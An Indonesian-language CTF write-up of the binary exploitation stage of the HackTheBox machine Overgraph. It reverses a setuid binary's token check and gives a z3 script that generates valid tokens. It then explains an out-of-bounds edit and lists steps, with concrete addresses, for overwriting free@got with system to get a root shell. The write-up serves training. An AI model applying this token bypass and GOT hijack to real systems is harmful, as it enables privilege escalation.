HTB: Overgraph - Binary Exploitation Part

0x01 Overview Link to heading

Beberapa minggu yang lalu, aku diminta untuk mengerjakan soal pwn pentest dari machine yang terdapat pada HackTheBox oleh temanku. Karena ada waktu buat bantu ngerjain maka aku coba soalnya. Dan karena machine-nya memiliki kategori hard jadi disuruh juga buat writeupnya.

Binary merupakan ELF 64-bit dan running di mesin ubuntu dengan libc version 2.25 yang digunakan untuk membuat report suatu pesan. Report ini akan menulis pesan ke /opt/crv/<name>.

Berikut contoh tampilan program,

$ ./nreport
Custom Reporting v1

Enter Your Token: <SOME_VALID_TOKEN>
Enter Name: <NAME>

Welcome <NAME>
1.Create New Message
2.Delete a Message
3.Edit Messages
4.Report All Messages
5.Exit
>

0x02 Reversing the Binary Link to heading

Binary tidak memiliki fungsi-fungsi yang rumit, sehingga dapat dengan mudah untuk di-reversing.

int __cdecl main(int argc, const char **argv, const char **envp)
{
    ...
    puts("Custom Reporting v1\n");
    auth(&token);
    printf("\nWelcome %s", userinfo1, argv);
    do
    {
        puts("\n1.Create New Message\n2.Delete a Message\n3.Edit Messages\n4.Report All Messages\n5.Exit");
        printf("> ");
        scanf(" %1[^\n]", buf);
        choice = atoi(buf);
    }
    while ( choice > 5 );
    ...
}

Token Authentication Link to heading

Pengecekan token input dari user terdapat pada fungsi auth yang terdapat pada binary. Berikut hasil dekompilasi fungsi auth yang sudah dirapikan.

...
printf("Enter Your Token: ");
fgets(&token, 19, stdin)

if ( strlen(&token) != 15 )
    goto INVALID_TOKEN;

for (int i = 13; i >= 0; --i )
    hash[i] = token[13] ^ token[9] ^ token[0] ^ token[2] ^ token[1] ^ secret[i];

if (hash[0] + hash[1] + hash[2] != 308)
    goto INVALID_TOKEN;

if (hash[7] + hash[8] + hash[9] != 325)
    goto INVALID_TOKEN;

if (hash[11] + hash[12] + hash[13] != 265)
    goto INVALID_TOKEN;
...
printf("Enter Name: ", 19);
scanf(" %39[^\n]", userinfo1);
...

Seharusnya alur pengecekan token sudah lebih jelas untuk mendapatkan token yang valid,

Token harus memiliki panjang 15 karakter.
Nilai hash merupakan hasil xor antara beberapa byte dari token dan secret[i] dengan nilai i yang selaras dengan index dari hash.
Nilai dari beberapa hash merupakan nilai yang digunakan untuk pengecekan token yang valid.
Jika pengecekan token lolos, maka akan ada inputan name yang akan disimpan pada userinfo1, dan jika gagal maka program akan exit.

dah.

Generating Token Authentication Link to heading

Token dapat mudah digenerate dengan z3 algebra-solver.

from z3 import *

# secret didapatkan pada binary.
secret = [
    0x12, 0x01, 0x12, 0x04,
    0x42, 0x14, 0x06, 0x1f,
    0x07, 0x16, 0x01, 0x10,
    0x40, 0x00, 0x00, 0x00
]

s = Solver()
t = [BitVec(f't!{i}', 32) for i in range(5)]

for i in range(len(t)):
    s.add(And(t[i] > 0x61, t[i] < 0x7a))

xored = 0
for i in range(len(t)):
    xored ^= t[i]

s.add((xored ^ secret[ 0]) + (xored ^ secret[ 1]) + (xored ^ secret[ 2]) == 308)
s.add((xored ^ secret[ 7]) + (xored ^ secret[ 8]) + (xored ^ secret[ 9]) == 325)
s.add((xored ^ secret[11]) + (xored ^ secret[12]) + (xored ^ secret[13]) == 265)

while s.check() == sat:
    m = s.model()

    for i in range(len(t)):
        s.add(Or(t[i] != m[t[i]]))

    token = ''.join([chr(m[i].as_long()) for i in t])
    token = f"{token[:3]}______{token[3]}___{token[4]}"

    print(token)

Jalankan dan akan mendapatkan banyak token yang bisa digunakan.

Where is the bug? Link to heading

Bug terdapat pada fungsi edit. Dimana index dari message yang akan di-edit tidak memiliki batas. Hal ini dapat menyebabkan index out-of-bound. Kita bisa mengedit pointer yang ada disebelum maupun sesudah message_array.

if ( Arryindex )
{
    printf("Enter number to edit: ");
    scanf("%d[^\n]", &index);
    printf("Message Title: ");
    scanf(" %59[^\n]", message_array[index]); // oob jika 0 < index > 10
    printf("Message: ");
    message_content_ptr = message_array[index] + 60;
    scanf("%100[^\n]", message_content_ptr);
    fflush(stdin);
    fflush(stdout);
}

Sebagai gambaran, bersebelahannya variabel message_array dan userinfo1.

Variable	Value
message_array[0]	0x4072c0
…	…
message_array[9]	0x00000000
…	0x00000000
…	0x00000000
userinfo1	“somename”

Bagaimana jika userinfo1 yang menyimpan inputan name kita berisi suatu alamat memori? dan kita mengedit message pada index 12? Maka nilai yang berada pada alamat tersebutlah yang akan diedit.

GOT Hijacking Link to heading

Proteksi yang terdapat pada binary.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3fd000)
RUNPATH:  b'/usr/local/bin/Nreport/libc/'

RELRO ini adalah suatu proteksi yang membuat suatu section pada binary menjadi read-only. Proteksi ini ada 2 mode: full dan partial.

Full berarti GOT section memiliki permission read-only,
Partial berarti GOT section memiliki permission writeable.

Untuk lainnya, cari sendiri :lol:

Karena binary memiliki address yang tetap (No PIE), artinya kita bisa mendapatkan alamat suatu simbol dari entry got dengan mudah. Dalam kasus ini, kita akan mengoverwrite free@got ke system. Dan melakukan free atau delete message yang mengandung string "/bin/sh" untuk mendapatkan shell.

Exploit Link to heading

Karena buffering enabled, maka disini aku hanya tuliskan alur exploitnya saja. Dan karena binary di-mesin memiliki setuid root, maka kita akan mendapatan root.

Input valid token yang sudah didapat.
Input name dengan alamat dari free@got yaitu 0x404018.
Create new message dengan dengan title dan content "/bin/sh".
Edit index 12 (OOB) yang akan menunjuk ke buffer name kita yang berisi alamat dari free@got, menjadi system@plt pada 0x401080.
Delete message index 0 tadi yang menyimpan string "/bin/sh" untuk men-trigger free.
Root shell!